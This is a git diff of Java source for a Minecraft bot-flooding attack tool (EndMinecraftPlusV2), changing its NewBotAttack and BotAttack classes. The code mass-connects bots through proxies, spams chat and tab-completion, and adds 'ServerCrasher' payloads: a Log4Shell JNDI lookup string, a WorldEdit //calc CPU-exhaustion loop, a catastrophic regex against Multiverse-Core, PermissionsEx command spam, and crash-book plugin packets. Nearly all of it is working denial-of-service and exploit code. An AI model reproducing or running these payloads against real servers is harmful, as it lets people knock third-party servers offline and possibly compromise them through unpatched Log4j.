public Set<Session> clients = new ConcurrentSet<>();
|
||||
@ -80,177 +84,75 @@ public class NewBotAttack extends IAttack {
|
||||
public void start() {
|
||||
setTask(() -> {
|
||||
while (true) {
|
||||
List<Session> tempList = new ArrayList<>(alivePlayers);
|
||||
|
||||
for (Session c:tempList) {
|
||||
for (Session c : clients) {
|
||||
if (c.isConnected()) {
|
||||
if (c.hasFlag("login")) {
|
||||
if (ConfigUtil.ChatSpam && !c.hasFlag("chatSpam")) {
|
||||
c.setFlag("chatSpam", true);
|
||||
|
||||
while (c.isConnected()) {
|
||||
try {
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, getRandMessage(clientName.get(c)));
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, getRandMessage(clientName.get(c)));
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, getRandMessage(clientName.get(c)));
|
||||
} else {
|
||||
c.send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
}
|
||||
} catch (Exception ignored) {}
|
||||
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
if (ConfigUtil.ChatSpam) {
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, getRandMessage(clientName.get(c)));
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, getRandMessage(clientName.get(c)));
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, getRandMessage(clientName.get(c)));
|
||||
} else {
|
||||
c.send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
}
|
||||
|
||||
if (ConfigUtil.RandomTeleport && !c.hasFlag("randomTeleport")) {
|
||||
c.setFlag("randomTeleport", true);
|
||||
if (ConfigUtil.RandomTeleport) {
|
||||
if (ProtocolLibs.adaptAfter758) {
|
||||
ClientboundPlayerPositionPacket positionRotationPacket = newPositionPacket.get(c);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
if (ProtocolLibs.adaptAfter758) {
|
||||
ClientboundPlayerPositionPacket positionRotationPacket = newPositionPacket.get(c);
|
||||
|
||||
if (c.isConnected() && positionRotationPacket != null) {
|
||||
if (c.isConnected() && positionRotationPacket != null) {
|
||||
new Thread(() -> {
|
||||
try {
|
||||
VersionSupport758.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
OtherUtils.doSleep(500);
|
||||
Thread.sleep(500);
|
||||
VersionSupport758.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
} else {
|
||||
OtherUtils.doSleep(1000);
|
||||
} catch (InterruptedException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
} else {
|
||||
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c);
|
||||
}).start();
|
||||
}
|
||||
} else {
|
||||
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c);
|
||||
|
||||
if (c.isConnected() && positionRotationPacket != null) {
|
||||
if (c.isConnected() && positionRotationPacket != null) {
|
||||
new Thread(() -> {
|
||||
try {
|
||||
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
OtherUtils.doSleep(500);
|
||||
Thread.sleep(500);
|
||||
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
} else {
|
||||
OtherUtils.doSleep(1000);
|
||||
} catch (InterruptedException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) {
|
||||
c.setFlag("crasher", true);
|
||||
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
|
||||
|
||||
new Thread(() -> {
|
||||
switch (ConfigUtil.ServerCrasherMode) {
|
||||
case 1:
|
||||
LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher");
|
||||
break;
|
||||
case 2:
|
||||
String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}";
|
||||
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, log4jExploit);
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, log4jExploit);
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, log4jExploit);
|
||||
} else {
|
||||
c.send(new ClientChatPacket(log4jExploit));
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}";
|
||||
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, worldEdit);
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, worldEdit);
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, worldEdit);
|
||||
} else {
|
||||
c.send(new ClientChatPacket(worldEdit));
|
||||
}
|
||||
|
||||
break;
|
||||
case 4:
|
||||
String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^";
|
||||
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, multiverseCore);
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, multiverseCore);
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, multiverseCore);
|
||||
} else {
|
||||
c.send(new ClientChatPacket(multiverseCore));
|
||||
}
|
||||
|
||||
break;
|
||||
case 5:
|
||||
String pex_1 = "/pex promote a a";
|
||||
String pex_2 = "/pex demote a a";
|
||||
while (c.isConnected()) {
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2);
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2);
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2);
|
||||
} else {
|
||||
c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2));
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(2000);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
LogUtil.doLog(1, "ServerCrasher Mode设置有误,请检查配置文件。", null);
|
||||
break;
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) {
|
||||
c.setFlag("tabAttack", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendTabPacket(c, "/");
|
||||
} else {
|
||||
MultiVersionPacket.sendTabPacket(c, "/");
|
||||
}
|
||||
OtherUtils.doSleep(100);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
}
|
||||
} else if (c.hasFlag("join")) {
|
||||
if (ConfigUtil.RegisterAndLogin) {
|
||||
try {
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))));
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))));
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))));
|
||||
} else {
|
||||
c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
}
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))));
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))));
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))));
|
||||
} else {
|
||||
c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
}
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||
|
||||
c.setFlag("login", true);
|
||||
} catch (Exception ignored) {}
|
||||
} else {
|
||||
c.setFlag("login", true);
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||
}
|
||||
|
||||
c.setFlag("login", true);
|
||||
}
|
||||
} else {
|
||||
alivePlayers.remove(c);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -280,18 +182,38 @@ public class NewBotAttack extends IAttack {
|
||||
}
|
||||
});
|
||||
|
||||
mainThread.start();
|
||||
if (taskThread != null) {
|
||||
taskThread.start();
|
||||
if (this.attack_tab) {
|
||||
tabThread = new Thread(() -> {
|
||||
while (true) {
|
||||
for (Session c : clients) {
|
||||
if (c.isConnected() && c.hasFlag("login")) {
|
||||
if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendTabPacket(c, "/");
|
||||
} else {
|
||||
MultiVersionPacket.sendTabPacket(c, "/");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(10);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
mainThread.start();
|
||||
if (tabThread != null)
|
||||
tabThread.start();
|
||||
if (taskThread != null)
|
||||
taskThread.start();
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public void stop() {
|
||||
mainThread.stop();
|
||||
if (taskThread != null) {
|
||||
if (tabThread != null)
|
||||
tabThread.stop();
|
||||
if (taskThread != null)
|
||||
taskThread.stop();
|
||||
}
|
||||
}
|
||||
|
||||
public void setTask(Runnable task) {
|
||||
@ -300,14 +222,16 @@ public class NewBotAttack extends IAttack {
|
||||
|
||||
private void cleanClients() {
|
||||
for (Session client:clients) {
|
||||
String username = clientName.get(client);
|
||||
|
||||
if (!client.isConnected()) {
|
||||
positionPacket.remove(client);
|
||||
alivePlayers.remove(client);
|
||||
alivePlayers.remove(username);
|
||||
clientName.remove(client);
|
||||
clients.remove(client);
|
||||
} else {
|
||||
if (!alivePlayers.contains(client) && (client.hasFlag("login") || client.hasFlag("join"))) {
|
||||
alivePlayers.add(client);
|
||||
if (!alivePlayers.contains(username) && (client.hasFlag("login") || client.hasFlag("join"))) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -326,36 +250,39 @@ public class NewBotAttack extends IAttack {
|
||||
break;
|
||||
}
|
||||
|
||||
while (clients.size() <= this.attack_maxconnect) {
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
if (!EndMinecraftPlusV2.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Session client = createClient(ip, port, User[0], proxy);
|
||||
client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
clientName.put(client, User[0]);
|
||||
clients.add(client);
|
||||
|
||||
pool.submit(() -> {
|
||||
if (this.attack_motdbefore) {
|
||||
getMotd(proxy, ip, port);
|
||||
}
|
||||
|
||||
client.connect(false);
|
||||
});
|
||||
|
||||
if (this.attack_joinsleep > 0) {
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
if (!EndMinecraftPlusV2.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Session client = createClient(ip, port, User[0], proxy);
|
||||
client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
clientName.put(client, User[0]);
|
||||
clients.add(client);
|
||||
ProxyUtil.clientsProxy.put(client, proxy);
|
||||
|
||||
pool.submit(() -> {
|
||||
if (this.attack_motdbefore) {
|
||||
getMotd(proxy, ip, port);
|
||||
}
|
||||
|
||||
client.connect(false);
|
||||
});
|
||||
|
||||
if (this.attack_joinsleep > 0) {
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
|
||||
if (clients.size() > this.attack_maxconnect) {
|
||||
break;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -469,6 +396,7 @@ public class NewBotAttack extends IAttack {
|
||||
clientName.put(rejoinClient, username);
|
||||
clients.add(rejoinClient);
|
||||
rejoinClient.connect(false);
|
||||
ProxyUtil.clientsProxy.put(client, proxy);
|
||||
|
||||
if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) {
|
||||
rejoinPlayers.remove(username);
|
||||
@ -484,7 +412,7 @@ public class NewBotAttack extends IAttack {
|
||||
}
|
||||
|
||||
failed++;
|
||||
alivePlayers.remove(client);
|
||||
alivePlayers.remove(username);
|
||||
}).start();
|
||||
}
|
||||
});
|
||||
@ -532,8 +460,8 @@ public class NewBotAttack extends IAttack {
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
joinedPlayers.add(session);
|
||||
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
|
||||
@ -560,6 +488,10 @@ public class NewBotAttack extends IAttack {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (ConfigUtil.ShowServerMessages && !result.get("msg").equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||
}
|
||||
@ -595,8 +527,8 @@ public class NewBotAttack extends IAttack {
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
joinedPlayers.add(session);
|
||||
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
VersionSupport758.sendClientSettingPacket(session, "zh_CN");
|
||||
@ -604,8 +536,8 @@ public class NewBotAttack extends IAttack {
|
||||
} else if (recvPacket instanceof ClientboundKeepAlivePacket) {
|
||||
ServerboundKeepAlivePacket keepAlivePacket = new ServerboundKeepAlivePacket(((ClientboundKeepAlivePacket) recvPacket).getPingId());
|
||||
session.send(keepAlivePacket);
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
} else if (recvPacket instanceof ClientboundPlayerPositionPacket) {
|
||||
try {
|
||||
@ -627,6 +559,10 @@ public class NewBotAttack extends IAttack {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (ConfigUtil.ShowServerMessages) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||
}
|
||||
@ -642,6 +578,10 @@ public class NewBotAttack extends IAttack {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (ConfigUtil.ShowServerMessages) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||
}
|
||||
@ -657,6 +597,10 @@ public class NewBotAttack extends IAttack {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (ConfigUtil.ShowServerMessages) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||
}
|
||||
|
@ -7,21 +7,18 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.A
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.CatAntiCheat.CatAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.VersionSupport107;
|
||||
import io.netty.util.internal.ConcurrentSet;
|
||||
import org.spacehq.mc.protocol.MinecraftProtocol;
|
||||
import org.spacehq.mc.protocol.data.game.ItemStack;
|
||||
import org.spacehq.mc.protocol.data.game.values.ClientRequest;
|
||||
import org.spacehq.mc.protocol.data.message.Message;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientRequestPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.*;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerHealthPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerUpdateHealthPacket;
|
||||
import org.spacehq.opennbt.NBTIO;
|
||||
import org.spacehq.opennbt.tag.builtin.CompoundTag;
|
||||
import org.spacehq.opennbt.tag.builtin.ListTag;
|
||||
@ -30,9 +27,6 @@ import org.spacehq.opennbt.tag.builtin.Tag;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.event.session.*;
|
||||
import org.spacehq.packetlib.io.NetInput;
|
||||
import org.spacehq.packetlib.io.buffer.ByteBufferNetInput;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetInput;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
import org.spacehq.packetlib.tcp.TcpSessionFactory;
|
||||
@ -44,25 +38,25 @@ import java.io.OutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.net.Socket;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.util.*;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
|
||||
public class BotAttack extends IAttack {
|
||||
public static HashMap<Session, String> clientName = new HashMap<>();
|
||||
public static HashMap<Client, String> clientName = new HashMap<>();
|
||||
public static int failed = 0;
|
||||
public static int rejoin = 0;
|
||||
public static int clickVerifies = 0;
|
||||
public static List<String> rejoinPlayers = new ArrayList<>();
|
||||
public static List<Session> joinedPlayers = new ArrayList<>();
|
||||
public static List<Session> alivePlayers = new ArrayList<>();
|
||||
public static List<String> alivePlayers = new ArrayList<>();
|
||||
public static HashMap<Session,ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
|
||||
protected boolean attack_motdbefore;
|
||||
protected boolean attack_tab;
|
||||
protected Map<String, String> modList;
|
||||
|
||||
private Thread mainThread;
|
||||
private Thread tabThread;
|
||||
private Thread taskThread;
|
||||
|
||||
public Set<Client> clients = new ConcurrentSet<>();
|
||||
@ -90,135 +84,76 @@ public class BotAttack extends IAttack {
|
||||
public void start() {
|
||||
setTask(() -> {
|
||||
while (true) {
|
||||
List<Session> tempList = new ArrayList<>(alivePlayers);
|
||||
for (Client c : clients) {
|
||||
if (c.getSession().isConnected()) {
|
||||
if (c.getSession().hasFlag("login")) {
|
||||
if (ConfigUtil.ChatSpam) {
|
||||
c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
}
|
||||
|
||||
for (Session c:tempList) {
|
||||
if (c.isConnected()) {
|
||||
if (c.hasFlag("login")) {
|
||||
if (ConfigUtil.ChatSpam && !c.hasFlag("chatSpam")) {
|
||||
c.setFlag("chatSpam", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
if (ConfigUtil.RandomTeleport) {
|
||||
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c.getSession());
|
||||
if (c.getSession().isConnected() && positionRotationPacket != null) {
|
||||
new Thread(() -> {
|
||||
try {
|
||||
c.send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
if (ConfigUtil.RandomTeleport && !c.hasFlag("randomTeleport")) {
|
||||
c.setFlag("randomTeleport", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c);
|
||||
|
||||
if (c.isConnected() && positionRotationPacket != null) {
|
||||
MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
OtherUtils.doSleep(500);
|
||||
MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
} else {
|
||||
OtherUtils.doSleep(1000);
|
||||
MultiVersionPacket.sendPosPacket(c.getSession(), positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
Thread.sleep(500);
|
||||
MultiVersionPacket.sendPosPacket(c.getSession(), positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
} catch (InterruptedException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
}).start();
|
||||
}
|
||||
}
|
||||
|
||||
if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) {
|
||||
new Thread(() -> {
|
||||
c.setFlag("crasher", true);
|
||||
if (ConfigUtil.ServerCrasher && !c.getSession().hasFlag("crasher")) {
|
||||
c.getSession().setFlag("crasher", true);
|
||||
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
|
||||
switch (ConfigUtil.ServerCrasherMode) {
|
||||
case 1:
|
||||
new Thread(() -> {
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
|
||||
|
||||
switch (ConfigUtil.ServerCrasherMode) {
|
||||
case 1:
|
||||
if (MCForge.getProtocolVersion() == 47) {
|
||||
while (c.isConnected()) {
|
||||
try {
|
||||
ItemStack crashBook = getCrashBook();
|
||||
while (true) {
|
||||
try {
|
||||
ItemStack crashBook = getCrashBook();
|
||||
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
|
||||
out.writeShort(crashBook.getId());
|
||||
out.writeByte(crashBook.getAmount());
|
||||
out.writeShort(crashBook.getData());
|
||||
out.writeShort(crashBook.getId());
|
||||
out.writeByte(crashBook.getAmount());
|
||||
out.writeShort(crashBook.getData());
|
||||
|
||||
NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT());
|
||||
NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT());
|
||||
|
||||
byte[] crashData = buf.toByteArray();
|
||||
byte[] crashData = buf.toByteArray();
|
||||
|
||||
c.send(new ClientPluginMessagePacket("MC|BEdit", crashData));
|
||||
c.send(new ClientPluginMessagePacket("MC|BSign", crashData));
|
||||
c.getSession().send(new ClientPluginMessagePacket("MC|BEdit", crashData));
|
||||
c.getSession().send(new ClientPluginMessagePacket("MC|BSign", crashData));
|
||||
|
||||
OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay);
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
} else {
|
||||
LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher");
|
||||
Thread.sleep(ConfigUtil.ServerCrasherPacketDelay);
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}";
|
||||
c.send(new ClientChatPacket(log4jExploit));
|
||||
break;
|
||||
case 3:
|
||||
String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}";
|
||||
c.send(new ClientChatPacket(worldEdit));
|
||||
break;
|
||||
case 4:
|
||||
String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^";
|
||||
c.send(new ClientChatPacket(multiverseCore));
|
||||
break;
|
||||
case 5:
|
||||
String pex_1 = "/pex promote a a";
|
||||
